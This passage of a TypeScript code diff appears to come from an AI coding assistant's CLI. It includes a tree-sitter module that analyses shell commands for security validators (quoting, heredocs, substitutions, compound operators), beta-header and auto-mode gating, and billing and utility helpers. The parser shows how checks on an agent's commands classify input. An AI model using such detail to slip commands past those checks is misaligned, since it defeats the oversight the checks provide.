const sorted = dropContainedSpans(spans).sort((a, b) => b[0] - a[0])
let result = command
for (const [start, end] of sorted) {
result = result.slice(0, start) + result.slice(end)
}
return result
}
/**
* Replaces spans with just the quote delimiters (preserving ' and " characters).
*/
function replaceSpansKeepQuotes(
command: string,
spans: Array<[number, number, string, string]>,
): string {
if (spans.length === 0) return command
const sorted = dropContainedSpans(spans).sort((a, b) => b[0] - a[0])
let result = command
for (const [start, end, open, close] of sorted) {
// Replace content but keep the quote delimiters
result = result.slice(0, start) + open + close + result.slice(end)
}
return result
}
/**
* Extract quote context from the tree-sitter AST.
* Replaces the manual character-by-character extractQuotedContent() function.
*
* Tree-sitter node types:
* - raw_string: single-quoted ('...')
* - string: double-quoted ("...")
* - ansi_c_string: ANSI-C quoting ($'...') — span includes the leading $
* - heredoc_redirect: QUOTED heredocs only (<<'EOF', <<"EOF", <<\EOF) —
* the full redirect span (<<, delimiters, body, newlines) is stripped
* since the body is literal text in bash (no expansion). UNQUOTED
* heredocs (<<EOF) are left in place since bash expands $(...)/${...}
* inside them, and validators need to see those patterns. Matches the
* sync path's extractHeredocs({ quotedOnly: true }).
*/
export function extractQuoteContext(
rootNode: unknown,
command: string,
): QuoteContext {
// Single walk collects all quote span types at once.
const spans: QuoteSpans = { raw: [], ansiC: [], double: [], heredoc: [] }
collectQuoteSpans(rootNode as TreeSitterNode, spans, false)
const singleQuoteSpans = spans.raw
const ansiCSpans = spans.ansiC
const doubleQuoteSpans = spans.double
const quotedHeredocSpans = spans.heredoc
const allQuoteSpans = [
...singleQuoteSpans,
...ansiCSpans,
...doubleQuoteSpans,
...quotedHeredocSpans,
]
// Build a set of positions that should be excluded for each output variant.
// For withDoubleQuotes: remove single-quoted spans entirely, plus the
// opening/closing `"` delimiters of double-quoted spans (but keep the
// content between them). This matches the regex extractQuotedContent()
// semantics where `"` toggles quote state but content is still emitted.
const singleQuoteSet = buildPositionSet([
...singleQuoteSpans,
...ansiCSpans,
...quotedHeredocSpans,
])
const doubleQuoteDelimSet = new Set<number>()
for (const [start, end] of doubleQuoteSpans) {
doubleQuoteDelimSet.add(start) // opening "
doubleQuoteDelimSet.add(end - 1) // closing "
}
let withDoubleQuotes = ''
for (let i = 0; i < command.length; i++) {
if (singleQuoteSet.has(i)) continue
if (doubleQuoteDelimSet.has(i)) continue
withDoubleQuotes += command[i]
}
// fullyUnquoted: remove all quoted content
const fullyUnquoted = removeSpans(command, allQuoteSpans)
// unquotedKeepQuoteChars: remove content but keep delimiter chars
const spansWithQuoteChars: Array<[number, number, string, string]> = []
for (const [start, end] of singleQuoteSpans) {
spansWithQuoteChars.push([start, end, "'", "'"])
}
for (const [start, end] of ansiCSpans) {
// ansi_c_string spans include the leading $; preserve it so this
// matches the regex path, which treats $ as unquoted preceding '.
spansWithQuoteChars.push([start, end, "$'", "'"])
}
for (const [start, end] of doubleQuoteSpans) {
spansWithQuoteChars.push([start, end, '"', '"'])
}
for (const [start, end] of quotedHeredocSpans) {
// Heredoc redirect spans have no inline quote delimiters — strip entirely.
spansWithQuoteChars.push([start, end, '', ''])
}
const unquotedKeepQuoteChars = replaceSpansKeepQuotes(
command,
spansWithQuoteChars,
)
return { withDoubleQuotes, fullyUnquoted, unquotedKeepQuoteChars }
}
/**
* Extract compound command structure from the AST.
* Replaces isUnsafeCompoundCommand() and splitCommand() for tree-sitter path.
*/
export function extractCompoundStructure(
rootNode: unknown,
command: string,
): CompoundStructure {
const n = rootNode as TreeSitterNode
const operators: string[] = []
const segments: string[] = []
let hasSubshell = false
let hasCommandGroup = false
let hasPipeline = false
// Walk top-level children of the program node
function walkTopLevel(node: TreeSitterNode): void {
for (const child of node.children) {
if (!child) continue
if (child.type === 'list') {
// list nodes contain && and || operators
for (const listChild of child.children) {
if (!listChild) continue
if (listChild.type === '&&' || listChild.type === '||') {
operators.push(listChild.type)
} else if (
listChild.type === 'list' ||
listChild.type === 'redirected_statement'
) {
// Nested list, or redirected_statement wrapping a list/pipeline —
// recurse so inner operators/pipelines are detected. For
// `cmd1 && cmd2 2>/dev/null && cmd3`, the redirected_statement
// wraps `list(cmd1 && cmd2)` — the inner `&&` would be missed
// without recursion.
walkTopLevel({ ...node, children: [listChild] } as TreeSitterNode)
} else if (listChild.type === 'pipeline') {
hasPipeline = true
segments.push(listChild.text)
} else if (listChild.type === 'subshell') {
hasSubshell = true
segments.push(listChild.text)
} else if (listChild.type === 'compound_statement') {
hasCommandGroup = true
segments.push(listChild.text)
} else {
segments.push(listChild.text)
}
}
} else if (child.type === ';') {
operators.push(';')
} else if (child.type === 'pipeline') {
hasPipeline = true
segments.push(child.text)
} else if (child.type === 'subshell') {
hasSubshell = true
segments.push(child.text)
} else if (child.type === 'compound_statement') {
hasCommandGroup = true
segments.push(child.text)
} else if (
child.type === 'command' ||
child.type === 'declaration_command' ||
child.type === 'variable_assignment'
) {
segments.push(child.text)
} else if (child.type === 'redirected_statement') {
// `cd ~/src && find path 2>/dev/null` — tree-sitter wraps the ENTIRE
// compound in a redirected_statement: program → redirected_statement →
// (list → cmd1, &&, cmd2) + file_redirect. Same for `cmd1 | cmd2 > out`
// (wraps pipeline) and `(cmd) > out` (wraps subshell). Recurse to
// detect the inner structure; skip file_redirect children (redirects
// don't affect compound/pipeline classification).
let foundInner = false
for (const inner of child.children) {
if (!inner || inner.type === 'file_redirect') continue
foundInner = true
walkTopLevel({ ...child, children: [inner] } as TreeSitterNode)
}
if (!foundInner) {
// Standalone redirect with no body (shouldn't happen, but fail-safe)
segments.push(child.text)
}
} else if (child.type === 'negated_command') {
// `! cmd` — recurse into the inner command so its structure is
// classified (pipeline/subshell/etc.), but also record the full
// negated text as a segment so segments.length stays meaningful.
segments.push(child.text)
walkTopLevel(child)
} else if (
child.type === 'if_statement' ||
child.type === 'while_statement' ||
child.type === 'for_statement' ||
child.type === 'case_statement' ||
child.type === 'function_definition'
) {
// Control-flow constructs: the construct itself is one segment,
// but recurse so inner pipelines/subshells/operators are detected.
segments.push(child.text)
walkTopLevel(child)
}
}
}
walkTopLevel(n)
// If no segments found, the whole command is one segment
if (segments.length === 0) {
segments.push(command)
}
return {
hasCompoundOperators: operators.length > 0,
hasPipeline,
hasSubshell,
hasCommandGroup,
operators,
segments,
}
}
/**
* Check whether the AST contains actual operator nodes (;, &&, ||).
*
* This is the key function for eliminating the `find -exec \;` false positive.
* Tree-sitter parses `\;` as part of a `word` node (an argument to find),
* NOT as a `;` operator. So if no actual `;` operator nodes exist in the AST,
* there are no compound operators and hasBackslashEscapedOperator() can be skipped.
*/
export function hasActualOperatorNodes(rootNode: unknown): boolean {
const n = rootNode as TreeSitterNode
function walk(node: TreeSitterNode): boolean {
// Check for operator types that indicate compound commands
if (node.type === ';' || node.type === '&&' || node.type === '||') {
// Verify this is a child of a list or program, not inside a command
return true
}
if (node.type === 'list') {
// A list node means there are compound operators
return true
}
for (const child of node.children) {
if (child && walk(child)) return true
}
return false
}
return walk(n)
}
/**
* Extract dangerous pattern information from the AST.
*/
export function extractDangerousPatterns(rootNode: unknown): DangerousPatterns {
const n = rootNode as TreeSitterNode
let hasCommandSubstitution = false
let hasProcessSubstitution = false
let hasParameterExpansion = false
let hasHeredoc = false
let hasComment = false
function walk(node: TreeSitterNode): void {
switch (node.type) {
case 'command_substitution':
hasCommandSubstitution = true
break
case 'process_substitution':
hasProcessSubstitution = true
break
case 'expansion':
hasParameterExpansion = true
break
case 'heredoc_redirect':
hasHeredoc = true
break
case 'comment':
hasComment = true
break
}
for (const child of node.children) {
if (child) walk(child)
}
}
walk(n)
return {
hasCommandSubstitution,
hasProcessSubstitution,
hasParameterExpansion,
hasHeredoc,
hasComment,
}
}
/**
* Perform complete tree-sitter analysis of a command.
* Extracts all security-relevant data from the AST in one pass.
* This data must be extracted before tree.delete() is called.
*/
export function analyzeCommand(
rootNode: unknown,
command: string,
): TreeSitterAnalysis {
return {
quoteContext: extractQuoteContext(rootNode, command),
compoundStructure: extractCompoundStructure(rootNode, command),
hasActualOperatorNodes: hasActualOperatorNodes(rootNode),
dangerousPatterns: extractDangerousPatterns(rootNode),
}
}

434
src/utils/betas.ts Normal file
View File

@@ -0,0 +1,434 @@
import { feature } from 'bun:bundle'
import memoize from 'lodash-es/memoize.js'
import {
checkStatsigFeatureGate_CACHED_MAY_BE_STALE,
getFeatureValue_CACHED_MAY_BE_STALE,
} from 'src/services/analytics/growthbook.js'
import { getIsNonInteractiveSession, getSdkBetas } from '../bootstrap/state.js'
import {
BEDROCK_EXTRA_PARAMS_HEADERS,
CLAUDE_CODE_20250219_BETA_HEADER,
CLI_INTERNAL_BETA_HEADER,
CONTEXT_1M_BETA_HEADER,
CONTEXT_MANAGEMENT_BETA_HEADER,
INTERLEAVED_THINKING_BETA_HEADER,
PROMPT_CACHING_SCOPE_BETA_HEADER,
REDACT_THINKING_BETA_HEADER,
STRUCTURED_OUTPUTS_BETA_HEADER,
SUMMARIZE_CONNECTOR_TEXT_BETA_HEADER,
TOKEN_EFFICIENT_TOOLS_BETA_HEADER,
TOOL_SEARCH_BETA_HEADER_1P,
TOOL_SEARCH_BETA_HEADER_3P,
WEB_SEARCH_BETA_HEADER,
} from '../constants/betas.js'
import { OAUTH_BETA_HEADER } from '../constants/oauth.js'
import { isClaudeAISubscriber } from './auth.js'
import { has1mContext } from './context.js'
import { isEnvDefinedFalsy, isEnvTruthy } from './envUtils.js'
import { getCanonicalName } from './model/model.js'
import { get3PModelCapabilityOverride } from './model/modelSupportOverrides.js'
import { getAPIProvider } from './model/providers.js'
import { getInitialSettings } from './settings/settings.js'
/**
* SDK-provided betas that are allowed for API key users.
* Only betas in this list can be passed via SDK options.
*/
const ALLOWED_SDK_BETAS = [CONTEXT_1M_BETA_HEADER]
/**
* Filter betas to only include those in the allowlist.
* Returns allowed and disallowed betas separately.
*/
function partitionBetasByAllowlist(betas: string[]): {
allowed: string[]
disallowed: string[]
} {
const allowed: string[] = []
const disallowed: string[] = []
for (const beta of betas) {
if (ALLOWED_SDK_BETAS.includes(beta)) {
allowed.push(beta)
} else {
disallowed.push(beta)
}
}
return { allowed, disallowed }
}
/**
* Filter SDK betas to only include allowed ones.
* Warns about disallowed betas and subscriber restrictions.
* Returns undefined if no valid betas remain or if user is a subscriber.
*/
export function filterAllowedSdkBetas(
sdkBetas: string[] | undefined,
): string[] | undefined {
if (!sdkBetas || sdkBetas.length === 0) {
return undefined
}
if (isClaudeAISubscriber()) {
// biome-ignore lint/suspicious/noConsole: intentional warning
console.warn(
'Warning: Custom betas are only available for API key users. Ignoring provided betas.',
)
return undefined
}
const { allowed, disallowed } = partitionBetasByAllowlist(sdkBetas)
for (const beta of disallowed) {
// biome-ignore lint/suspicious/noConsole: intentional warning
console.warn(
`Warning: Beta header '${beta}' is not allowed. Only the following betas are supported: ${ALLOWED_SDK_BETAS.join(', ')}`,
)
}
return allowed.length > 0 ? allowed : undefined
}
// Generally, foundry supports all 1P features;
// however out of an abundance of caution, we do not enable any which are behind an experiment
export function modelSupportsISP(model: string): boolean {
const supported3P = get3PModelCapabilityOverride(
model,
'interleaved_thinking',
)
if (supported3P !== undefined) {
return supported3P
}
const canonical = getCanonicalName(model)
const provider = getAPIProvider()
// Foundry supports interleaved thinking for all models
if (provider === 'foundry') {
return true
}
if (provider === 'firstParty') {
return !canonical.includes('claude-3-')
}
return (
canonical.includes('claude-opus-4') || canonical.includes('claude-sonnet-4')
)
}
function vertexModelSupportsWebSearch(model: string): boolean {
const canonical = getCanonicalName(model)
// Web search only supported on Claude 4.0+ models on Vertex
return (
canonical.includes('claude-opus-4') ||
canonical.includes('claude-sonnet-4') ||
canonical.includes('claude-haiku-4')
)
}
// Context management is supported on Claude 4+ models
export function modelSupportsContextManagement(model: string): boolean {
const canonical = getCanonicalName(model)
const provider = getAPIProvider()
if (provider === 'foundry') {
return true
}
if (provider === 'firstParty') {
return !canonical.includes('claude-3-')
}
return (
canonical.includes('claude-opus-4') ||
canonical.includes('claude-sonnet-4') ||
canonical.includes('claude-haiku-4')
)
}
// @[MODEL LAUNCH]: Add the new model ID to this list if it supports structured outputs.
export function modelSupportsStructuredOutputs(model: string): boolean {
const canonical = getCanonicalName(model)
const provider = getAPIProvider()
// Structured outputs only supported on firstParty and Foundry (not Bedrock/Vertex yet)
if (provider !== 'firstParty' && provider !== 'foundry') {
return false
}
return (
canonical.includes('claude-sonnet-4-6') ||
canonical.includes('claude-sonnet-4-5') ||
canonical.includes('claude-opus-4-1') ||
canonical.includes('claude-opus-4-5') ||
canonical.includes('claude-opus-4-6') ||
canonical.includes('claude-haiku-4-5')
)
}
// @[MODEL LAUNCH]: Add the new model if it supports auto mode (specifically PI probes) — ask in #proj-claude-code-safety-research.
export function modelSupportsAutoMode(model: string): boolean {
if (feature('TRANSCRIPT_CLASSIFIER')) {
const m = getCanonicalName(model)
// External: firstParty-only at launch (PI probes not wired for
// Bedrock/Vertex/Foundry yet). Checked before allowModels so the GB
// override can't enable auto mode on unsupported providers.
if (process.env.USER_TYPE !== 'ant' && getAPIProvider() !== 'firstParty') {
return false
}
// GrowthBook override: tengu_auto_mode_config.allowModels force-enables
// auto mode for listed models, bypassing the denylist/allowlist below.
// Exact model IDs (e.g. "claude-strudel-v6-p") match only that model;
// canonical names (e.g. "claude-strudel") match the whole family.
const config = getFeatureValue_CACHED_MAY_BE_STALE<{
allowModels?: string[]
}>('tengu_auto_mode_config', {})
const rawLower = model.toLowerCase()
if (
config?.allowModels?.some(
am => am.toLowerCase() === rawLower || am.toLowerCase() === m,
)
) {
return true
}
if (process.env.USER_TYPE === 'ant') {
// Denylist: block known-unsupported claude models, allow everything else (ant-internal models etc.)
if (m.includes('claude-3-')) return false
// claude-*-4 not followed by -[6-9]: blocks bare -4, -4-YYYYMMDD, -4@, -4-0 thru -4-5
if (/claude-(opus|sonnet|haiku)-4(?!-[6-9])/.test(m)) return false
return true
}
// External allowlist (firstParty already checked above).
return /^claude-(opus|sonnet)-4-6/.test(m)
}
return false
}
/**
* Get the correct tool search beta header for the current API provider.
* - Claude API / Foundry: advanced-tool-use-2025-11-20
* - Vertex AI / Bedrock: tool-search-tool-2025-10-19
*/
export function getToolSearchBetaHeader(): string {
const provider = getAPIProvider()
if (provider === 'vertex' || provider === 'bedrock') {
return TOOL_SEARCH_BETA_HEADER_3P
}
return TOOL_SEARCH_BETA_HEADER_1P
}
/**
* Check if experimental betas should be included.
* These are betas that are only available on firstParty provider
* and may not be supported by proxies or other providers.
*/
export function shouldIncludeFirstPartyOnlyBetas(): boolean {
return (
(getAPIProvider() === 'firstParty' || getAPIProvider() === 'foundry') &&
!isEnvTruthy(process.env.CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS)
)
}
/**
* Global-scope prompt caching is firstParty only. Foundry is excluded because
* GrowthBook never bucketed Foundry users into the rollout experiment — the
* treatment data is firstParty-only.
*/
export function shouldUseGlobalCacheScope(): boolean {
return (
getAPIProvider() === 'firstParty' &&
!isEnvTruthy(process.env.CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS)
)
}
export const getAllModelBetas = memoize((model: string): string[] => {
const betaHeaders = []
const isHaiku = getCanonicalName(model).includes('haiku')
const provider = getAPIProvider()
const includeFirstPartyOnlyBetas = shouldIncludeFirstPartyOnlyBetas()
if (!isHaiku) {
betaHeaders.push(CLAUDE_CODE_20250219_BETA_HEADER)
if (
process.env.USER_TYPE === 'ant' &&
process.env.CLAUDE_CODE_ENTRYPOINT === 'cli'
) {
if (CLI_INTERNAL_BETA_HEADER) {
betaHeaders.push(CLI_INTERNAL_BETA_HEADER)
}
}
}
if (isClaudeAISubscriber()) {
betaHeaders.push(OAUTH_BETA_HEADER)
}
if (has1mContext(model)) {
betaHeaders.push(CONTEXT_1M_BETA_HEADER)
}
if (
!isEnvTruthy(process.env.DISABLE_INTERLEAVED_THINKING) &&
modelSupportsISP(model)
) {
betaHeaders.push(INTERLEAVED_THINKING_BETA_HEADER)
}
// Skip the API-side Haiku thinking summarizer — the summary is only used
// for ctrl+o display, which interactive users rarely open. The API returns
// redacted_thinking blocks instead; AssistantRedactedThinkingMessage already
// renders those as a stub. SDK / print-mode keep summaries because callers
// may iterate over thinking content. Users can opt back in via settings.json
// showThinkingSummaries.
if (
includeFirstPartyOnlyBetas &&
modelSupportsISP(model) &&
!getIsNonInteractiveSession() &&
getInitialSettings().showThinkingSummaries !== true
) {
betaHeaders.push(REDACT_THINKING_BETA_HEADER)
}
// POC: server-side connector-text summarization (anti-distillation). The
// API buffers assistant text between tool calls, summarizes it, and returns
// the summary with a signature so the original can be restored on subsequent
// turns — same mechanism as thinking blocks. Ant-only while we measure
// TTFT/TTLT/capacity; betas already flow to tengu_api_success for splitting.
// Backend independently requires Capability.ANTHROPIC_INTERNAL_RESEARCH.
//
// USE_CONNECTOR_TEXT_SUMMARIZATION is tri-state: =1 forces on (opt-in even
// if GB is off), =0 forces off (opt-out of a GB rollout you were bucketed
// into), unset defers to GB.
if (
SUMMARIZE_CONNECTOR_TEXT_BETA_HEADER &&
process.env.USER_TYPE === 'ant' &&
includeFirstPartyOnlyBetas &&
!isEnvDefinedFalsy(process.env.USE_CONNECTOR_TEXT_SUMMARIZATION) &&
(isEnvTruthy(process.env.USE_CONNECTOR_TEXT_SUMMARIZATION) ||
getFeatureValue_CACHED_MAY_BE_STALE('tengu_slate_prism', false))
) {
betaHeaders.push(SUMMARIZE_CONNECTOR_TEXT_BETA_HEADER)
}
// Add context management beta for tool clearing (ant opt-in) or thinking preservation
const antOptedIntoToolClearing =
isEnvTruthy(process.env.USE_API_CONTEXT_MANAGEMENT) &&
process.env.USER_TYPE === 'ant'
const thinkingPreservationEnabled = modelSupportsContextManagement(model)
if (
shouldIncludeFirstPartyOnlyBetas() &&
(antOptedIntoToolClearing || thinkingPreservationEnabled)
) {
betaHeaders.push(CONTEXT_MANAGEMENT_BETA_HEADER)
}
// Add strict tool use beta if experiment is enabled.
// Gate on includeFirstPartyOnlyBetas: CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS
// already strips schema.strict from tool bodies at api.ts's choke point, but
// this header was escaping that kill switch. Proxy gateways that look like
// firstParty but forward to Vertex reject this header with 400.
// github.com/deshaw/anthropic-issues/issues/5
const strictToolsEnabled =
checkStatsigFeatureGate_CACHED_MAY_BE_STALE('tengu_tool_pear')
// 3P default: false. API rejects strict + token-efficient-tools together
// (tool_use.py:139), so these are mutually exclusive — strict wins.
const tokenEfficientToolsEnabled =
!strictToolsEnabled &&
getFeatureValue_CACHED_MAY_BE_STALE('tengu_amber_json_tools', false)
if (
includeFirstPartyOnlyBetas &&
modelSupportsStructuredOutputs(model) &&
strictToolsEnabled
) {
betaHeaders.push(STRUCTURED_OUTPUTS_BETA_HEADER)
}
// JSON tool_use format (FC v3) — ~4.5% output token reduction vs ANTML.
// Sends the v2 header (2026-03-28) added in anthropics/anthropic#337072 to
// isolate the CC A/B cohort from ~9.2M/week existing v1 senders. Ant-only
// while the restored JsonToolUseOutputParser soaks.
if (
process.env.USER_TYPE === 'ant' &&
includeFirstPartyOnlyBetas &&
tokenEfficientToolsEnabled
) {
betaHeaders.push(TOKEN_EFFICIENT_TOOLS_BETA_HEADER)
}
// Add web search beta for Vertex Claude 4.0+ models only
if (provider === 'vertex' && vertexModelSupportsWebSearch(model)) {
betaHeaders.push(WEB_SEARCH_BETA_HEADER)
}
// Foundry only ships models that already support Web Search
if (provider === 'foundry') {
betaHeaders.push(WEB_SEARCH_BETA_HEADER)
}
// Always send the beta header for 1P. The header is a no-op without a scope field.
if (includeFirstPartyOnlyBetas) {
betaHeaders.push(PROMPT_CACHING_SCOPE_BETA_HEADER)
}
// If ANTHROPIC_BETAS is set, split it by commas and add to betaHeaders.
// This is an explicit user opt-in, so honor it regardless of model.
if (process.env.ANTHROPIC_BETAS) {
betaHeaders.push(
...process.env.ANTHROPIC_BETAS.split(',')
.map(_ => _.trim())
.filter(Boolean),
)
}
return betaHeaders
})
export const getModelBetas = memoize((model: string): string[] => {
const modelBetas = getAllModelBetas(model)
if (getAPIProvider() === 'bedrock') {
return modelBetas.filter(b => !BEDROCK_EXTRA_PARAMS_HEADERS.has(b))
}
return modelBetas
})
export const getBedrockExtraBodyParamsBetas = memoize(
(model: string): string[] => {
const modelBetas = getAllModelBetas(model)
return modelBetas.filter(b => BEDROCK_EXTRA_PARAMS_HEADERS.has(b))
},
)
/**
* Merge SDK-provided betas with auto-detected model betas.
* SDK betas are read from global state (set via setSdkBetas in main.tsx).
* The betas are pre-filtered by filterAllowedSdkBetas which handles
* subscriber checks and allowlist validation with warnings.
*
* @param options.isAgenticQuery - When true, ensures the beta headers needed
* for agentic queries are present. For non-Haiku models these are already
* included by getAllModelBetas(); for Haiku they're excluded since
* non-agentic calls (compaction, classifiers, token estimation) don't need them.
*/
export function getMergedBetas(
model: string,
options?: { isAgenticQuery?: boolean },
): string[] {
const baseBetas = [...getModelBetas(model)]
// Agentic queries always need claude-code and cli-internal beta headers.
// For non-Haiku models these are already in baseBetas; for Haiku they're
// excluded by getAllModelBetas() since non-agentic Haiku calls don't need them.
if (options?.isAgenticQuery) {
if (!baseBetas.includes(CLAUDE_CODE_20250219_BETA_HEADER)) {
baseBetas.push(CLAUDE_CODE_20250219_BETA_HEADER)
}
if (
process.env.USER_TYPE === 'ant' &&
process.env.CLAUDE_CODE_ENTRYPOINT === 'cli' &&
CLI_INTERNAL_BETA_HEADER &&
!baseBetas.includes(CLI_INTERNAL_BETA_HEADER)
) {
baseBetas.push(CLI_INTERNAL_BETA_HEADER)
}
}
const sdkBetas = getSdkBetas()
if (!sdkBetas || sdkBetas.length === 0) {
return baseBetas
}
// Merge SDK betas without duplicates (already filtered by filterAllowedSdkBetas)
return [...baseBetas, ...sdkBetas.filter(b => !baseBetas.includes(b))]
}
export function clearBetasCaches(): void {
getAllModelBetas.cache?.clear?.()
getModelBetas.cache?.clear?.()
getBedrockExtraBodyParamsBetas.cache?.clear?.()
}

78
src/utils/billing.ts Normal file
View File

@@ -0,0 +1,78 @@
import {
getAnthropicApiKey,
getAuthTokenSource,
getSubscriptionType,
isClaudeAISubscriber,
} from './auth.js'
import { getGlobalConfig } from './config.js'
import { isEnvTruthy } from './envUtils.js'
export function hasConsoleBillingAccess(): boolean {
// Check if cost reporting is disabled via environment variable
if (isEnvTruthy(process.env.DISABLE_COST_WARNINGS)) {
return false
}
const isSubscriber = isClaudeAISubscriber()
// This might be wrong if user is signed into Max but also using an API key, but
// we already show a warning on launch in that case
if (isSubscriber) return false
// Check if user has any form of authentication
const authSource = getAuthTokenSource()
const hasApiKey = getAnthropicApiKey() !== null
// If user has no authentication at all (logged out), don't show costs
if (!authSource.hasToken && !hasApiKey) {
return false
}
const config = getGlobalConfig()
const orgRole = config.oauthAccount?.organizationRole
const workspaceRole = config.oauthAccount?.workspaceRole
if (!orgRole || !workspaceRole) {
return false // hide cost for grandfathered users who have not re-authed since we've added roles
}
// Users have billing access if they are admins or billing roles at either workspace or organization level
return (
['admin', 'billing'].includes(orgRole) ||
['workspace_admin', 'workspace_billing'].includes(workspaceRole)
)
}
// Mock billing access for /mock-limits testing (set by mockRateLimits.ts)
let mockBillingAccessOverride: boolean | null = null
export function setMockBillingAccessOverride(value: boolean | null): void {
mockBillingAccessOverride = value
}
export function hasClaudeAiBillingAccess(): boolean {
// Check for mock billing access first (for /mock-limits testing)
if (mockBillingAccessOverride !== null) {
return mockBillingAccessOverride
}
if (!isClaudeAISubscriber()) {
return false
}
const subscriptionType = getSubscriptionType()
// Consumer plans (Max/Pro) - individual users always have billing access
if (subscriptionType === 'max' || subscriptionType === 'pro') {
return true
}
// Team/Enterprise - check for admin or billing roles
const config = getGlobalConfig()
const orgRole = config.oauthAccount?.organizationRole
return (
!!orgRole &&
['admin', 'billing', 'owner', 'primary_owner'].includes(orgRole)
)
}

53
src/utils/binaryCheck.ts Normal file
View File

@@ -0,0 +1,53 @@
import { logForDebugging } from './debug.js'
import { which } from './which.js'
// Session cache to avoid repeated checks
const binaryCache = new Map<string, boolean>()
/**
* Check if a binary/command is installed and available on the system.
* Uses 'which' on Unix systems (macOS, Linux, WSL) and 'where' on Windows.
*
* @param command - The command name to check (e.g., 'gopls', 'rust-analyzer')
* @returns Promise<boolean> - true if the command exists, false otherwise
*/
export async function isBinaryInstalled(command: string): Promise<boolean> {
// Edge case: empty or whitespace-only command
if (!command || !command.trim()) {
logForDebugging('[binaryCheck] Empty command provided, returning false')
return false
}
// Trim the command to handle whitespace
const trimmedCommand = command.trim()
// Check cache first
const cached = binaryCache.get(trimmedCommand)
if (cached !== undefined) {
logForDebugging(
`[binaryCheck] Cache hit for '${trimmedCommand}': ${cached}`,
)
return cached
}
let exists = false
if (await which(trimmedCommand).catch(() => null)) {
exists = true
}
// Cache the result
binaryCache.set(trimmedCommand, exists)
logForDebugging(
`[binaryCheck] Binary '${trimmedCommand}' ${exists ? 'found' : 'not found'}`,
)
return exists
}
/**
* Clear the binary check cache (useful for testing)
*/
export function clearBinaryCache(): void {
binaryCache.clear()
}

68
src/utils/browser.ts Normal file
View File

@@ -0,0 +1,68 @@
import { execFileNoThrow } from './execFileNoThrow.js'
function validateUrl(url: string): void {
let parsedUrl: URL
try {
parsedUrl = new URL(url)
} catch (_error) {
throw new Error(`Invalid URL format: ${url}`)
}
// Validate URL protocol for security
if (parsedUrl.protocol !== 'http:' && parsedUrl.protocol !== 'https:') {
throw new Error(
`Invalid URL protocol: must use http:// or https://, got ${parsedUrl.protocol}`,
)
}
}
/**
* Open a file or folder path using the system's default handler.
* Uses `open` on macOS, `explorer` on Windows, `xdg-open` on Linux.
*/
export async function openPath(path: string): Promise<boolean> {
try {
const platform = process.platform
if (platform === 'win32') {
const { code } = await execFileNoThrow('explorer', [path])
return code === 0
}
const command = platform === 'darwin' ? 'open' : 'xdg-open'
const { code } = await execFileNoThrow(command, [path])
return code === 0
} catch (_) {
return false
}
}
export async function openBrowser(url: string): Promise<boolean> {
try {
// Parse and validate the URL
validateUrl(url)
const browserEnv = process.env.BROWSER
const platform = process.platform
if (platform === 'win32') {
if (browserEnv) {
// browsers require shell, else they will treat this as a file:/// handle
const { code } = await execFileNoThrow(browserEnv, [`"${url}"`])
return code === 0
}
const { code } = await execFileNoThrow(
'rundll32',
['url,OpenURL', url],
{},
)
return code === 0
} else {
const command =
browserEnv || (platform === 'darwin' ? 'open' : 'xdg-open')
const { code } = await execFileNoThrow(command, [url])
return code === 0
}
} catch (_) {
return false
}
}

100
src/utils/bufferedWriter.ts Normal file
View File

@@ -0,0 +1,100 @@
type WriteFn = (content: string) => void
export type BufferedWriter = {
write: (content: string) => void
flush: () => void
dispose: () => void
}
export function createBufferedWriter({
writeFn,
flushIntervalMs = 1000,
maxBufferSize = 100,
maxBufferBytes = Infinity,
immediateMode = false,
}: {
writeFn: WriteFn
flushIntervalMs?: number
maxBufferSize?: number
maxBufferBytes?: number
immediateMode?: boolean
}): BufferedWriter {
let buffer: string[] = []
let bufferBytes = 0
let flushTimer: NodeJS.Timeout | null = null
// Batch detached by overflow that hasn't been written yet. Tracked so
// flush()/dispose() can drain it synchronously if the process exits
// before the setImmediate fires.
let pendingOverflow: string[] | null = null
function clearTimer(): void {
if (flushTimer) {
clearTimeout(flushTimer)
flushTimer = null
}
}
function flush(): void {
if (pendingOverflow) {
writeFn(pendingOverflow.join(''))
pendingOverflow = null
}
if (buffer.length === 0) return
writeFn(buffer.join(''))
buffer = []
bufferBytes = 0
clearTimer()
}
function scheduleFlush(): void {
if (!flushTimer) {
flushTimer = setTimeout(flush, flushIntervalMs)
}
}
// Detach the buffer synchronously so the caller never waits on writeFn.
// writeFn may block (e.g. errorLogSink.ts appendFileSync) — if overflow fires
// mid-render or mid-keystroke, deferring the write keeps the current tick
// short. Timer-based flushes already run outside user code paths so they
// stay synchronous.
function flushDeferred(): void {
if (pendingOverflow) {
// A previous overflow write is still queued. Coalesce into it to
// preserve ordering — writes land in a single setImmediate-ordered batch.
pendingOverflow.push(...buffer)
buffer = []
bufferBytes = 0
clearTimer()
return
}
const detached = buffer
buffer = []
bufferBytes = 0
clearTimer()
pendingOverflow = detached
setImmediate(() => {
const toWrite = pendingOverflow
pendingOverflow = null
if (toWrite) writeFn(toWrite.join(''))
})
}
return {
write(content: string): void {
if (immediateMode) {
writeFn(content)
return
}
buffer.push(content)
bufferBytes += content.length
scheduleFlush()
if (buffer.length >= maxBufferSize || bufferBytes >= maxBufferBytes) {
flushDeferred()
}
},
flush,
dispose(): void {
flush()
},
}
}

22
src/utils/bundledMode.ts Normal file
View File

@@ -0,0 +1,22 @@
/**
* Detects if the current runtime is Bun.
* Returns true when:
* - Running a JS file via the `bun` command
* - Running a Bun-compiled standalone executable
*/
export function isRunningWithBun(): boolean {
// https://bun.com/guides/util/detect-bun
return process.versions.bun !== undefined
}
/**
* Detects if running as a Bun-compiled standalone executable.
* This checks for embedded files which are present in compiled binaries.
*/
export function isInBundledMode(): boolean {
return (
typeof Bun !== 'undefined' &&
Array.isArray(Bun.embeddedFiles) &&
Bun.embeddedFiles.length > 0
)
}

115
src/utils/caCerts.ts Normal file
View File

@@ -0,0 +1,115 @@
import memoize from 'lodash-es/memoize.js'
import { logForDebugging } from './debug.js'
import { hasNodeOption } from './envUtils.js'
import { getFsImplementation } from './fsOperations.js'
/**
* Load CA certificates for TLS connections.
*
* Since setting `ca` on an HTTPS agent replaces the default certificate store,
* we must always include base CAs (either system or bundled Mozilla) when returning.
*
* Returns undefined when no custom CA configuration is needed, allowing the
* runtime's default certificate handling to apply.
*
* Behavior:
* - Neither NODE_EXTRA_CA_CERTS nor --use-system-ca/--use-openssl-ca set: undefined (runtime defaults)
